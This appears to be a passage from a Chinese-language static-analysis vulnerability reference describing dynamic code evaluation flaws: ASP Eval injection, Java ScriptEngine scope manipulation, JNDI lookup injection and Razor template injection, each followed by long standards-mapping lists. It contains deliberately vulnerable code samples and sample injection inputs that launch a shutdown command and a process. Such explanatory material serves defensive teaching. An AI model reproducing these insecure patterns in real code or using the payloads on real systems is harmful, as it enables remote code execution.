示例 1:允许用户指定底层编程构造的典型示例应用程序是计算器。以下 ASP 代码可接受由用户指定的要进行计算并返回结果的基本数学操作:


...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...


operation 参数为“8 + 7 * 2”的示例中,程序的预期行为是可行的。strResult 变量应返回的值为 22。然而,如果用户打算指定其他有效的语言操作,那么系统不仅会执行这些操作,还会在对主进程具有完全权限的情况下执行。如果底层语言提供了访问系统资源的途径,或者允许执行系统命令,那么执行任意代码会更加危险。例如,如果攻击者打算将 operation 指定为“Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')”,主机系统会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.dynamic_code_evaluation_code_injection
Abstract
如果允许未经验证的用户输入影响动态执行代码的运行时环境,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态操作。当程序员允许某些用户提供的数据改变动态执行代码的运行环境的某一方面时,就会发生 code manipulation 漏洞。若不经过适当的验证,用户指定的操作可能并不是程序员所最初期望的。

示例 1:在此示例中,应用程序从 Web 应用程序中检索脚本执行范围。


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));

userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...


page_scope 参数是期望的用户名时,程序将正常运行。但是,如果攻击者为 GLOBAL_SCOPE 指定值,则上述操作将访问同一 ScriptEngine 创建的所有引擎内的所有属性。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[31] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40), Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_code_manipulation
Abstract
程序使用不受信任的地址运行 JNDI 查找,这可能使攻击者能够远程运行任意 Java 代码。
Explanation
如果攻击者可以控制 JNDI 查找操作的地址,则他通过将该地址指向其控制的服务器的地址并将 JNDI 命名引用返回到具有自定义对象工厂的 RMI 存储对象,也许能够远程运行任意代码。

示例 1:以下代码会使用不可信数据运行 JNDI 查找。


...
String address = request.getParameter("address");

Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
References
[1] Trend Micro How the pawn-storm zero day evaded Java’s click-to-play protection
[2] Standards Mapping - Common Weakness Enumeration CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SA-19 Component Authenticity (P0), SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-7 Software Firmware and Information Integrity, SI-10 Information Input Validation
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[15] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[16] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_jndi_reference_injection
Abstract
在运行时解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

例 1:在这段代码注入示例中,请求参数被绑定到要评估的 Razor 模板。


...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "John" 时,result 变量被赋予的值将为 "Hello World!Welcome John!"。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,Razor 允许调用 C# 对象;如果攻击者计划将 " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }" 指定为 name 的值,主机系统就会执行系统命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
